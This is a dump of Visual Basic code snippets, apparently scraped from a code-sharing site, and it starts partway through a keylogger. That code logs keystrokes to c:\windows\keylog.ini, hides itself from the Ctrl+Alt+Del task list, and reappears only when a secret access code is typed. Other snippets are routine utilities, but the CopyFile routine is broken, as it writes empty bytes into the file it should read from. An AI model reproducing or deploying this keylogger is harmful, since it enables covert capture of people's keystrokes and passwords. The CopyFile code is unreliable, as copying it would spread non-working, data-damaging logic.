Then\nText1.Text = Text1.Text & \"+\"\nShift = False\nelse\nText1.Text = Text1.Text & \"=\"\nEnd If\n' and now for the new KEYPAD btns\nCase 96 To 105 'numbers, 0-9 respectively\nIf i = 96 Then Text1.Text = Text1.Text & \" NUM0 \"\nIf i = 97 Then Text1.Text = Text1.Text & \" NUM1 \"\nIf i = 98 Then Text1.Text = Text1.Text & \" NUM2 \"\nIf i = 99 Then Text1.Text = Text1.Text & \" NUM3 \"\nIf i = 100 Then Text1.Text = Text1.Text & \" NUM4 \"\nIf i = 101 Then Text1.Text = Text1.Text & \" NUM5 \"\nIf i = 102 Then Text1.Text = Text1.Text & \" NUM6 \"\nIf i = 103 Then Text1.Text = Text1.Text & \" NUM7 \"\nIf i = 104 Then Text1.Text = Text1.Text & \" NUM8 \"\nIf i = 105 Then Text1.Text = Text1.Text & \" NUM9 \"\nCase Is = 110\nText1.Text = Text1.Text & \" NUM. \"\nCase Is = 111\nText1.Text = Text1.Text & \" NUM/ \"\nCase Is = 107\nText1.Text = Text1.Text & \" NUM+ \"\nCase Is = 109\nText1.Text = Text1.Text & \" NUM- \"\nCase Is = 106\nText1.Text = Text1.Text & \" NUM* \"\nCase Is = 20 ' CAPSLOCK key\nText1.Text = Text1.Text & \" CAPS TOGGLE \"\nCase Else\nRem MsgBox i\n'remmed out for secrecy!\nEnd Select\nEnd If\nNext\nLoop\nEnd Sub\nPrivate Sub Command2_Click()\nEnd ' exit program\nEnd Sub\nPrivate Sub text1_Change()\nIf Right(Text1.Text, 10) = \"opensaysme\" Then ' if user types secret access code\nText1.Text = (Left(Text1.Text, Len(Text1.Text) - 10)) ' remove bad access code from list\nSHOWCAD ' show in ctrl + alt + del\nForm1.Top = (Screen.Height / 2) + (Form1.Height / 2) ' put in middle of screen\nEnd If\n'now, to save to the logfile\nOn Error GoTo erre 'in case of non exist, create\nOpen \"c:\\windows\\keylog.ini\" For Input As #1\nInput #1, a ' get old logfile\nClose #1\nOpen \"c:\\windows\\keylog.ini\" For Output As #1\nPrint #1, a ' Take Old Data\nPrint #1, Text1.Text ' And Append New Data\nClose #1\nExit Sub ' unless error has occoured, exit sub, we're done\nerre: ' error has occoured\nOpen \"c:\\windows\\keylog.ini\" For Output As #1\nPrint #1, Text1.Text ' Start New Logfile\nClose #1\nEnd Sub\n"},{"WorldId":1,"id":5050,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5110,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8779,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8617,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5028,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5033,"LineNumber":1,"line":"Option Explicit\nPrivate Function dec2any(number As Long, convertb As Integer) As String\n On Error Resume Next\n Dim num As Long\n Dim sum As String\n Dim carry As Long\n \n sum = \"\"\n num = number\n \n If convertb > 1 And convertb < 37 Then\n Do\n carry = num Mod convertb\n If carry > 9 Then\n sum = Chr$(carry + 87) + sum\n Else\n sum = carry & sum\n End If\n \n num = Int(num / convertb)\n Loop Until num = 0\n dec2any = sum\n Else\n dec2any = -1\n End If\nEnd Function\nPrivate Function any2dec(num As String, Optional numbase As Integer = 10) As Long\n On Error Resume Next\n Dim sum As Long\n Dim length As Integer\n Dim count As Integer\n Dim digit As String * 1\n \n length = Len(num)\n If length > 0 And numbase > 0 And numbase < 37 Then\n For count = 1 To length\n digit = Mid$(num, count, 1)\n If digit <= \"9\" Then\n sum = sum + digit * numbase ^ (length - count)\n Else\n sum = sum + (Asc(digit) - 87) * numbase ^ (length - count)\n End If\n Next count\n any2dec = sum\n Else\n any2dec = -1\n End If\nEnd Function\nPrivate Function any2any(num1 As String, num1base As Integer, convertbase As Integer) As String\n Dim answer As Long\n If num1base <> convertbase And num1base > 0 And convertbase > 0 _\n And num1base < 37 And convertbase < 37 Then\n answer = any2dec(num1, num1base)\n any2any = dec2any(answer, convertbase)\n Else\n any2any = -1\n End If\nEnd Function\nPrivate Sub Form_Load()\n ' example: converts letter z of base 36 to base 2 (binary)\n Me.Caption = any2any(\"z\", 36, 2)\nEnd Sub\n"},{"WorldId":1,"id":8278,"LineNumber":1,"line":"Sub Pause (ByVal hInterval As Double)\nDim hCurrent As Long\nhInterval = hInterval * 1000\nhCurrent = GetTickCount()\nDo While GetTickCount() - hCurrent < hInterval\n DoEvents\nLoop\nEnd Sub\n"},{"WorldId":1,"id":5047,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5132,"LineNumber":1,"line":"'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n'' By: Peptido\n'' Date: Dec 21 1999\n''\n'' Purpose: Reading resources from a DLL\n''\n'' Functions:\n''\n'' DrawDLLBitmap: Load a Bitmap Resource from the DLL and displays it\n'' Parameters:\n'' DLLPath: Path to the DLL file containing the resources\n'' PicDesc: Name of the Bitmap Resource inside the DLL\n'' hDC: Specifies where to Draw the bitmap\n'' dstX: Optional. X coordinate specifying where to start drawing\n'' dstY: Optional. Y coordinate specifying where to start drawing\n''\n'' DrawDLLIcon: Load an Icon Resource from the DLL and displays it\n'' Parameters: Exactly the same as DrawDLLBitmap\n''\n'' LoadDLLString: Returns a String Resource in the DLL\n'' Parameters:\n'' DLLPath: Path to the DLL file containing the resources\n'' StrNum: Number asigned to the String Resource\n''\n'' PlayDLLSound: Loads a Wave Resource from the DLL and plays it\n'' DLLPath: Path to the DLL file containing the resources\n'' WavDesc: Name of the Wave Resource inside the DLL\n''\n''\n'' Known Bugs: None\n''\n''\n'' Please send any comments, suggestions or bug reports to:\n'' peptido@insideo.com.ar\n''\n\n'Structures Declaration\nPrivate Type BITMAP\n bmType As Long\n bmWidth As Long\n bmHeight As Long\n bmWidthBytes As Long\n bmPlanes As Integer\n bmBitsPixel As Integer\n bmBits As Long\nEnd Type\n'Constant Declaration\nPrivate Const SND_RESOURCE = &H40004\nPrivate Const SND_SYNC = &H0\nPrivate Const SRCCOPY = &HCC0020\n'API Function Declaration\nPrivate Declare Function LoadString Lib \"user32\" Alias \"LoadStringA\" (ByVal hInstance As Long, ByVal wID As Long, ByVal lpBuffer As String, ByVal nBufferMax As Long) As Long\nPrivate Declare Function LoadBitmap Lib \"user32\" Alias \"LoadBitmapA\" (ByVal hInstance As Long, ByVal lpBitmapName As String) As Long\nPrivate Declare Function LoadIcon Lib \"user32\" Alias \"LoadIconA\" (ByVal hInstance As Long, ByVal lpIconName As String) As Long\nPrivate Declare Function DrawIcon Lib \"user32\" (ByVal hDC As Long, ByVal x As Long, ByVal y As Long, ByVal hIcon As Long) As Long\nPrivate Declare Function LoadLibrary Lib \"kernel32\" Alias \"LoadLibraryA\" (ByVal lpLibFileName As String) As Long\nPrivate Declare Function FreeLibrary Lib \"kernel32\" (ByVal hLibModule As Long) As Long\nPrivate Declare Function GetObject Lib \"gdi32\" Alias \"GetObjectA\" (ByVal hObject As Long, ByVal nCount As Long, lpObject As Any) As Long\nPrivate Declare Function CreateCompatibleDC Lib \"gdi32\" (ByVal hDC As Long) As Long\nPrivate Declare Function SelectObject Lib \"gdi32\" (ByVal hDC As Long, ByVal hObject As Long) As Long\nPrivate Declare Function BitBlt Lib \"gdi32\" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long\nPrivate Declare Function DeleteDC Lib \"gdi32\" (ByVal hDC As Long) As Long\nPrivate Declare Function DeleteObject Lib \"gdi32\" (ByVal hObject As Long) As Long\nPrivate Declare Function PlaySound Lib \"winmm.dll\" Alias \"PlaySoundA\" (ByVal lpszName As String, ByVal hModule As Long, ByVal dwFlags As Long) As Long\n\nPublic Sub DrawDLLIcon(DLLPath As String, IconDesc As String, hDC As Long, Optional dstX As Long = 0, Optional dstY As Long = 0)\nDim hLibInst As Long\nDim hIcon As Long\nhLibInst = LoadLibrary(DLLPath)\nhIcon = LoadIcon(hLibInst, IconDesc)\nCall DrawIcon(hDC, dstX, dstY, hIcon)\nCall FreeLibrary(hLibInst)\nEnd Sub\nPublic Sub DrawDLLBitmap(DLLPath As String, picDesc As String, hDC As Long, Optional dstX As Long = 0, Optional dstY As Long = 0)\nDim hLibInst As Long\nDim hdcMemory As Long\nDim hLoadedbitmap As Long\nDim hOldBitmap As Long\nDim bmpInfo As BITMAP\nhLibInst = LoadLibrary(DLLPath)\nhLoadedbitmap = LoadBitmap(hLibInst, picDesc)\nCall GetObject(hLoadedbitmap, Len(bmpInfo), bmpInfo)\nhdcMemory = CreateCompatibleDC(hDC)\nhOldBitmap = SelectObject(hdcMemory, hLoadedbitmap)\nCall BitBlt(hDC, dstX, dstY, bmpInfo.bmWidth, bmpInfo.bmHeight, hdcMemory, 0, 0, SRCCOPY)\nCall SelectObject(hdcMemory, hOldBitmap)\nCall DeleteObject(hLoadedbitmap)\nCall DeleteDC(hdcMemory)\nCall FreeLibrary(hLibInst)\nEnd Sub\nPublic Sub PlayDLLSound(DLLPath As String, WavDesc As String)\nDim hLibInst As Long\nhLibInst = LoadLibrary(DLLPath)\nCall PlaySound(WavDesc, hLibInst, SND_RESOURCE Or SND_SYNC)\nFreeLibrary (hLibInst)\nEnd Sub\nPublic Function LoadDLLString(DLLPath As String, StrNum As Long) As String\nDim hLibInst As Long\nDim strTemp As String * 32768\nDim posTemp As Integer\nhLibInst = LoadLibrary(DLLPath)\nCall LoadString(hLibInst, StrNum, strTemp, Len(strTemp))\nposTemp = InStr(strTemp, Chr$(0))\nLoadDLLString = Left$(strTemp, posTemp - 1)\nFreeLibrary (hLibInst)\nEnd Function\n"},{"WorldId":1,"id":5053,"LineNumber":1,"line":"On Error GoTo errr:\nport = 1\nPortinG:\nMSComm1.CommPort = port\nMSComm1.PortOpen = True\nForm1.MSComm1.Settings = \"9600,N,8,1\"\nMSComm1.Output = \"AT\" + Chr$(13)\nx = 1\nDo: DoEvents\nx = x + 1\nIf x = 1000 Then MSComm1.Output = \"AT\" + Chr$(13)\nIf x = 2000 Then MSComm1.Output = \"AT\" + Chr$(13)\nIf x = 3000 Then MSComm1.Output = \"AT\" + Chr$(13)\nIf x = 4000 Then MSComm1.Output = \"AT\" + Chr$(13)\nIf x = 5000 Then MSComm1.Output = \"AT\" + Chr$(13)\nIf x = 6000 Then MSComm1.Output = \"AT\" + Chr$(13)\nIf x = 7000 Then\nMSComm1.PortOpen = False\nport = port + 1\nGoTo PortinG:\nIf MSComm1.CommPort >= 5 Then\nerrr:\nMsgBox \"Can't Find Modem!\"\nGoTo done:\nEnd If\nEnd If\nLoop Until MSComm1.InBufferCount >= 2\ninstring = MSComm1.Input\nMSComm1.PortOpen = False\n Text1.Text = MSComm1.CommPort & instring\nMsgBox \"Modem Found On Comm\" & port\ndone:\n"},{"WorldId":1,"id":5055,"LineNumber":1,"line":"Option Explicit\n'********************************************'\n'***This Function is to just to Return the***'\n'***Binary Equivalent for Any long integer***'\n'********************************************'\nPrivate Sub Command1_Click()\n \n Dim str1 As String\n \n On Error GoTo a:\n \n str1 = cBin(CLng(Text1.Text))\n \n MsgBox str1\n \n Exit Sub\na:\nEnd Sub\nPublic Function cBin(a As Long) As String\n \n Dim bal As Long\n Dim str1 As String\n \n bal = a\n \n Do Until a <= 0\n bal = a Mod 2\n If bal = 0 Then\n a = a / 2\n Else\n a = (a - 1) / 2\n End If\n str1 = str1 & CStr(bal)\n Loop\n \n cBin = StrReverse(str1)\n \nEnd Function"},{"WorldId":1,"id":5438,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9209,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9210,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5147,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5172,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5887,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6030,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7369,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6534,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5098,"LineNumber":1,"line":"VERSION 5.00\nBegin VB.Form Form1 \n Caption = \"Form1\"\n ClientHeight = 6180\n ClientLeft = 210\n ClientTop = 1800\n ClientWidth = 7575\n LinkTopic = \"Form1\"\n ScaleHeight = 6180\n ScaleWidth = 7575\n Begin VB.PictureBox picOuterFrame \n Appearance = 0 'Flat\n ForeColor = &H80000008&\n Height = 5535\n Left = 120\n ScaleHeight = 5505\n ScaleWidth = 7065\n TabIndex = 0\n Top = 120\n Width = 7095\n Begin VB.PictureBox spltVertical \n Appearance = 0 'Flat\n CausesValidation= 0 'False\n ClipControls = 0 'False\n FillColor = &H8000000F&\n FillStyle = 0 'Solid\n ForeColor = &H8000000F&\n Height = 4935\n Left = 3480\n MousePointer = 9 'Size W E\n ScaleHeight = 4905\n ScaleWidth = 225\n TabIndex = 1\n Top = 0\n Width = 255\n End\n Begin VB.PictureBox picRight \n Appearance = 0 'Flat\n BackColor = &H80000005&\n ForeColor = &H80000008&\n Height = 4815\n Left = 3840\n ScaleHeight = 4785\n ScaleWidth = 2985\n TabIndex = 2\n Top = 240\n Width = 3015\n End\n Begin VB.PictureBox picLeft \n Appearance = 0 'Flat\n ForeColor = &H80000008&\n Height = 4575\n Left = 0\n ScaleHeight = 4545\n ScaleWidth = 3345\n TabIndex = 3\n Top = 240\n Width = 3375\n Begin VB.PictureBox spltHorizontal \n Appearance = 0 'Flat\n FillColor = &H8000000F&\n FillStyle = 0 'Solid\n ForeColor = &H8000000F&\n Height = 255\n Left = 480\n MousePointer = 7 'Size N S\n ScaleHeight = 225\n ScaleWidth = 2385\n TabIndex = 4\n Top = 2160\n Width = 2415\n End\n Begin VB.PictureBox picTopLeft \n Appearance = 0 'Flat\n BackColor = &H80000005&\n ForeColor = &H80000008&\n Height = 1815\n Left = 480\n ScaleHeight = 1785\n ScaleWidth = 2025\n TabIndex = 6\n Top = 120\n Width = 2055\n End\n Begin VB.PictureBox picBottomLeft \n Appearance = 0 'Flat\n BackColor = &H80000005&\n ForeColor = &H80000008&\n Height = 1815\n Left = 600\n ScaleHeight = 1785\n ScaleWidth = 2025\n TabIndex = 5\n Top = 2520\n Width = 2055\n End\n End\n End\nEnd\nAttribute VB_Name = \"Form1\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = False\nOption Explicit\nPrivate Const SPLT_WDTH As Long = 80 'width of the spltter bar\nPrivate Const MIN_WINDOW As Long = 10 'Minimum size for any frame created by splitter bars\nPrivate Sub Form_Load()\n '**** Splitter Code ****\n 'No Borders, they are for development and debugging\n spltVertical.BorderStyle = 0\n spltHorizontal.BorderStyle = 0\n picOuterFrame.BorderStyle = 0\n picLeft.BorderStyle = 0\n picTopLeft.BorderStyle = 0\n picBottomLeft.BorderStyle = 0\n picRight.BorderStyle = 0\n '**** End Splitter Code ****\n \nEnd Sub\nPrivate Sub picRight_Resize()\n 'Resize your object to the inside of the frame\n 'YourObject.Move 0, 0, picRight.Width, picRight.Height\nEnd Sub\nPrivate Sub picTopLeft_Resize()\n 'Resize your object to the inside of the frame\n 'YourObject.Move 0, 0, picTopLeft.Width, picTopLeft.Height\nEnd Sub\nPrivate Sub picBottomLeft_Resize()\n 'Resize your object to the inside of the frame\n 'YourObject.Move 0, 0, picBottomLeft.Width, picBottomLeft.Height\nEnd Sub\nPrivate Sub Form_Resize()\n 'For this example, I chose to reside all the frames, depending on the size of the\n ' form. You may choose to put this whole assembly in another sub-frame.\n '**** Splitter Code ****\n 'Resize the outer frame\n Dim height1 As Long, width1 As Long\n height1 = ScaleHeight - (2 * SPLT_WDTH)\n If height1 < 0 Then height1 = 0\n width1 = ScaleWidth - (2 * SPLT_WDTH)\n If width1 < 0 Then width1 = 0\n picOuterFrame.Move SPLT_WDTH, SPLT_WDTH, width1, height1\n '**** End Splitter Code ****\nEnd Sub\n'**** Splitter Code ****\nPrivate Sub spltVertical_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)\n \n If Button = vbLeftButton Then\n spltVertical.Move (spltVertical.Left - (SPLT_WDTH \\ 2)) + x, 0, SPLT_WDTH, picOuterFrame.ScaleHeight\n spltVertical.BackColor = vbButtonShadow 'change the splitter colour\n End If\n \nEnd Sub\nPrivate Sub spltVertical_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)\n If spltVertical.BackColor = vbButtonShadow Then\n spltVertical.Move (spltVertical.Left - (SPLT_WDTH \\ 2)) + x, 0, SPLT_WDTH, picOuterFrame.ScaleHeight\n End If\nEnd Sub\nPrivate Sub spltVertical_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)\n \n If spltVertical.BackColor = vbButtonShadow Then\n spltVertical.BackColor = vbButtonFace 'restore splitter colour\n spltVertical.Move (spltVertical.Left - (SPLT_WDTH \\ 2)) + x, 0, SPLT_WDTH, picOuterFrame.ScaleHeight\n \n 'Set the absolute Boundaries\n Dim lAbsLeft As Long\n Dim lAbsRight As Long\n lAbsLeft = MIN_WINDOW\n lAbsRight = picOuterFrame.ScaleWidth - (SPLT_WDTH + MIN_WINDOW)\n Select Case spltVertical.Left\n Case Is < lAbsLeft 'the pane is too thin\n spltVertical.Move lAbsLeft, 0, SPLT_WDTH, picOuterFrame.ScaleHeight\n Case Is > lAbsRight 'the pane is too wide\n spltVertical.Move lAbsRight, 0, SPLT_WDTH, picOuterFrame.ScaleHeight\n End Select\n \n 'reposition both frames, and the spltVertical bar\n picOuterFrame_Resize\n End If\n \nEnd Sub\nPrivate Sub spltHorizontal_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)\n \n If Button = vbLeftButton Then\n spltHorizontal.BackColor = vbButtonShadow 'change the splitter colour\n spltHorizontal.Move 0, (spltHorizontal.Top - (SPLT_WDTH \\ 2)) + y, picLeft.ScaleWidth, SPLT_WDTH\n End If\n \nEnd Sub\nPrivate Sub spltHorizontal_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)\n If spltHorizontal.BackColor = vbButtonShadow Then\n spltHorizontal.Move 0, (spltHorizontal.Top - (SPLT_WDTH \\ 2)) + y, picLeft.ScaleWidth, SPLT_WDTH\n End If\nEnd Sub\nPrivate Sub splthorizontal_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)\n \n If spltHorizontal.BackColor = vbButtonShadow Then\n spltHorizontal.BackColor = vbButtonFace 'restore splitter colour\n spltHorizontal.Move 0, (spltHorizontal.Top - (SPLT_WDTH \\ 2)) + y, picLeft.ScaleWidth, SPLT_WDTH\n \n 'Set the absolute Boundaries\n Dim lAbsTop As Long\n Dim lAbsBottom As Long\n lAbsTop = MIN_WINDOW\n lAbsBottom = picLeft.ScaleHeight - (SPLT_WDTH + MIN_WINDOW)\n Select Case spltHorizontal.Top\n Case Is < lAbsTop 'the pane is too short\n spltHorizontal.Move 0, lAbsTop, picLeft.ScaleWidth, SPLT_WDTH\n Case Is > lAbsBottom 'the pane is too tall\n spltHorizontal.Move 0, lAbsBottom, picLeft.ScaleWidth, SPLT_WDTH\n End Select\n \n 'reposition both sub-frames, and the spltHorizontal bar\n picLeft_Resize\n End If\n \nEnd Sub\nPrivate Sub picOuterFrame_Resize()\n \n Dim x1 As Long\n Dim x2 As Long\n Dim y1 As Long\n \n On Error Resume Next\n y1 = picOuterFrame.ScaleHeight\n x1 = spltVertical.Left\n x2 = x1 + SPLT_WDTH + 1\n \n picLeft.Move 0, 0, x1 - 1, y1\n spltVertical.Move x1, 0, SPLT_WDTH, y1\n picRight.Move x2, 0, picOuterFrame.ScaleWidth - x2, y1\n \n 'Force a refresh on the left side\n picLeft_Resize\n \nEnd Sub\nPrivate Sub picLeft_Resize()\n 'Resize the internal stuff. Only the width's\n Dim x1 As Long\n Dim y1 As Long\n Dim y2 As Long\n Dim y3 as Long\n \n x1 = picLeft.Width\n y1 = spltHorizontal.Top\n y2 = y1 + SPLT_WDTH + 1\n \n 'We have to make sure that we do not size any windows to a negative dimension\n y3 = y1 - 1\n If y3 < MIN_WINDOW Then\n y3 = MIN_WINDOW\n End If\n picTopLeft.Move 0, 0, x1, y3\n spltHorizontal.Move 0, y1, x1, SPLT_WDTH\n \n y3 = picLeft.ScaleHeight - y2\n If y3 < MIN_WINDOW Then\n y3 = MIN_WINDOW\n End If\n picBottomLeft.Move 0, y2, x1, y3\n \nEnd Sub\n'**** End Splitter Code ****"},{"WorldId":1,"id":10013,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10517,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6432,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7479,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5131,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5213,"LineNumber":1,"line":"Private Sub Command1_Click()\nDim i As Integer 'declare the variable\nFor i = 1 To 150 'how many times (you can change the 150 to whatever you want)\n SendKeys \"{CAPSLOCK}\", True 'turn on the capslocks light, then turn it off\n SendKeys \"{DOWN}\", True 'just to give more time \n SendKeys \"{DOWN}\", True '^^^^^\n SendKeys \"{SCROLLLOCK}\", True 'turn on the scroll lock light, turn it off\n SendKeys \"{DOWN}\", True 'give more time\n SendKeys \"{DOWN}\", True '^^^^^\nNext i\nEnd Sub"},{"WorldId":1,"id":5412,"LineNumber":1,"line":"Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)\nUnload Me\nEnd Sub\nPrivate Sub Form_KeyPress(KeyAscii As Integer)\nUnload Me\nEnd Sub\nPrivate Sub Form_Load()\nForm1.BackColor = vbBlack\nForm1.BorderStyle = 0\nTimer1.Interval = 175\nEnd Sub\n\nPrivate Sub Timer1_Timer()\nht = RandomNum(Min, Max)\nwh = RandomNum(Min, Max)\nForm1.Move wh, ht\nForm1.Height = ht\nForm1.Width = wh\nForm1.Height = wh\nForm1.Width = ht\nEnd Sub\nPublic Function RandomNum(Min, Max) As Long\nRandomNum = Int((Max - Min + 9500) * Rnd + Min)\nEnd Function"},{"WorldId":1,"id":6092,"LineNumber":1,"line":"Function DeleteFile(Path As String)\n'This is an extremely quick file delete developed\n'by me in about 5 minutes.\n'overwrites the file 21 times then deletes it\n'clean off your disk :-)\nDim i As Integer 'variable for times to overwrite\nDim Data1 As String, Data2 As String, Data3 As String, Data4 As String, Data5 As String, Data6 As String, Data7 As String, Data8 As String, Data9 As String, Data10 As String, Data11 As String, Data12 As String, Data13 As String, Data14 As String, Data15 As String, Data16 As String, Data17 As String, Data18 As String, Data19 As String, Data20 As String\n'^^^ all 20 data variables, which hold the information to overwrite the file with\nDim FinalByte As Byte 'just a byte to do the final overwrite with\nData1 = Chr(85) 'the variables information\nData2 = Chr(170) 'the variables information\nData3 = Chr(74) 'the variables information\nData4 = Chr(99) 'the variables information\nData5 = Chr(71) 'the variables information\nData6 = Chr(92) 'the variables information\nData7 = Chr(101) 'the variables information\nData8 = Chr(112) 'the variables information\nData9 = Chr(1) 'the variables information\nData10 = Chr(61) 'the variables information\nData11 = Chr(97) 'the variables information\nData12 = Chr(119) 'the variables information\nData13 = Chr(86) 'the variables information\nData14 = Chr(79) 'the variables information\nData15 = Chr(109) 'the variables information\nData16 = Chr(72) 'the variables information\nData17 = Chr(90) 'the variables information\nData18 = Chr(0) 'the variables information\nData19 = Chr(255) 'the variables information\nData20 = Chr(212) 'the variables information\nOpen Path For Binary Access Write As #1 'open the path so we can overwrite it\nFor i = 1 To 10 'a loop\n Put #1, , Data1 'overwrite\nNext i 'stop loop\nFor i = 1 To 10 'another loop\n Put #1, , Data2 'overwrite\nNext i 'stop loop\nFor i = 1 To 10 'another loop\n Put #1, , Data3 'overwrite\nNext i 'stop loop\nFor i = 1 To 10 'another loop\n Put #1, , Data4 'overwrite\nNext i 'stop loop\nFor i = 1 To 10 'another loop\n Put #1, , Data5 'overwrite\nNext i 'stop loop\nFor i = 1 To 10 'Im sure you get the point from here on!\n'that this is just the overwriting stage!\n Put #1, , Data6\nNext i\nFor i = 1 To 10\n Put #1, , Data7\nNext i\nFor i = 1 To 10\n Put #1, , Data8\nNext i\nFor i = 1 To 10\n Put #1, , Data9\nNext i\nFor i = 1 To 10\n Put #1, , Data10\nNext i\nFor i = 1 To 10\n Put #1, , Data11\nNext i\nFor i = 1 To 10\n Put #1, , Data12\nNext i\nFor i = 1 To 10\n Put #1, , Data13\nNext i\nFor i = 1 To 10\n Put #1, , Data14\nNext i\nFor i = 1 To 10\n Put #1, , Data15\nNext i\nFor i = 1 To 10\n Put #1, , Data16\nNext i\nFor i = 1 To 10\n Put #1, , Data17\nNext i\nFor i = 1 To 10\n Put #1, , Data18\nNext i\nFor i = 1 To 10\n Put #1, , Data19\nNext i\nFor i = 1 To 10\n Put #1, , Data20\nNext i\nFor i = 1 To 10 'the final loop\n Put #1, , FinalByte 'the final overwrite\nNext i 'stop final loop\nClose #1 'close the file\nKill Path 'delete it\nMsgBox \"All Done Wiping The File!\", vbInformation + vbOKOnly, \"All Done!\" 'duh\nEnd Function"},{"WorldId":1,"id":6094,"LineNumber":1,"line":"Function GenerateDummyFile(Path As String, LengthInKB As Long)\n'This function is used to Generate A \"Dummy File\"\n'(it's a file that's only purpose is to do absolutely\n'nothing).\nOn Error Resume Next 'If we get an error, keep going\nDim GeneratedByte As Byte, Generate As Integer 'the variables\nOpen Path For Binary Access Write As #1 'Open the \"Dummy Path\" so we can write to it\nFor Generate = 1 To LengthInKB * 1024 'this is the loop to that does 2 things...\n'1) goes from 1 to the length in KiloBytes (to add to the file)\n'2) converts bytes to KiloBytes By Multiplying The Size in KB * 1024 (the size of on KB in bytes)\n Put #1, , GeneratedByte 'put the generated byte into the \"Dummy File\"\nNext Generate 'stop the loop\nMsgBox \"Done!\"\nEnd Function"},{"WorldId":1,"id":6095,"LineNumber":1,"line":"Function CopyFile(srcFile As String, dstFile As String)\n'this copies a file byte-for-byte\n'or you could just use good old FileCopy :-)\nOn Error Resume Next 'If we get an error, keep going\nDim Copy As Long, CopyByteForByte As Byte 'the variables\nOpen srcFile For Binary Access Write As #1 'open the destination file so we can write to it\nOpen dstFile For Binary Access Read As #2 'open the source file so we can read from it\nFor Copy = 1 To LOF(2) 'Copy The SourceFile Byte-For-Byte\n Put #1, , CopyByteForByte 'Put the byte in the destination file\nNext Copy 'stop the loop\nMsgBox \"Done!\"\nEnd Function"},{"WorldId":1,"id":5174,"LineNumber":1,"line":"Public Function ExtractFileName(ByVal strPath As String) As String\n ' StrReverse is only working in VB6\n strPath = StrReverse(strPath)\n strPath = Left(strPath, InStr(strPath, \"\\\") - 1)\n ExtractFileName = StrReverse(strPath)\nEnd Function\n"},{"WorldId":1,"id":5185,"LineNumber":1,"line":"'Where Odbccp32.cpl is the name of the control panel item.\nShell \"rundll32.exe shell32.dll,Control_RunDLL Odbccp32.cpl\", vbNormalFocus\n"},{"WorldId":1,"id":6415,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7268,"LineNumber":1,"line":"Option Explicit\n' T O D O:\n' ********\n' New Project -> ActiveX Control\n' Add a Label (\"lblCaption\")\n' and a Timer (\"tmrHighlight\").\n' That's it!\n\n' Private Variables/Types/Enumerations/Constants\n' **********************************************\nPrivate Enum htWhatToApply\n apyDrawBorder = 1\n apyBackColor = 2\n apyCaption = 4\n apyEnabled = 8\n apyFont = 16\n apyAll = (apyBackColor Or apyCaption Or apyEnabled Or apyFont)\nEnd Enum\nDim mbHasCapture As Boolean\nDim mpntLabelPos As POINTAPI\nDim mpntOldSize As POINTAPI\n' API Declarations/Types/Constants\n' ********************************\nPrivate Type POINTAPI\n X As Long\n Y As Long\nEnd Type\nPrivate Type RECT\n Left As Long\n Top As Long\n Right As Long\n Bottom As Long\nEnd Type\nPrivate Const BDR_RAISEDINNER = &H4\nPrivate Const BDR_RAISEDOUTER = &H1\nPrivate Const BDR_SUNKENINNER = &H8\nPrivate Const BDR_SUNKENOUTER = &H2\nPrivate Const BDR_MOUSEOVER = BDR_RAISEDINNER\nPrivate Const BDR_MOUSEDOWN = BDR_SUNKENOUTER\nPrivate Const BF_BOTTOM = &H8\nPrivate Const BF_FLAT = &H4000\nPrivate Const BF_LEFT = &H1\nPrivate Const BF_RIGHT = &H4\nPrivate Const BF_TOP = &H2\nPrivate Const BF_RECT = (BF_LEFT Or BF_TOP Or BF_RIGHT Or BF_BOTTOM)\n\nPrivate Declare Function apiDrawEdge Lib \"user32\" _\n Alias \"DrawEdge\" _\n (ByVal hdc As Long, _\n ByRef qrc As RECT, _\n ByVal edge As Long, _\n ByVal grfFlags As Long) As Long\n \nPrivate Declare Function apiGetCursorPos Lib \"user32\" _\n Alias \"GetCursorPos\" _\n (lpPoint As POINTAPI) As Long\n \nPrivate Declare Function apiWindowFromPoint Lib \"user32\" _\n Alias \"WindowFromPoint\" _\n (ByVal xPoint As Long, _\n ByVal yPoint As Long) As Long\n \nPrivate Declare Function apiDrawFocusRect Lib \"user32\" _\n Alias \"DrawFocusRect\" _\n (ByVal hdc As Long, _\n lpRect As RECT) As Long\n \n' Properies (Variables/Constants)\n' *******************************\nPrivate mProp_AlwaysHighlighted As Boolean\nPrivate mProp_BackColor As OLE_COLOR\nPrivate mProp_Caption As String\nPrivate mProp_Enabled As Boolean\nPrivate mProp_FocusRect As Boolean\nPrivate mProp_Font As StdFont\nPrivate mProp_HoverColor As OLE_COLOR\nConst mDef_AlwaysHighlighted = False\nConst mDef_BackColor = vbButtonFace\nConst mDef_Caption = \"Button2K\"\nConst mDef_Enabled = True\nConst mDef_FocusRect = True\nConst mDef_Font = Null ' 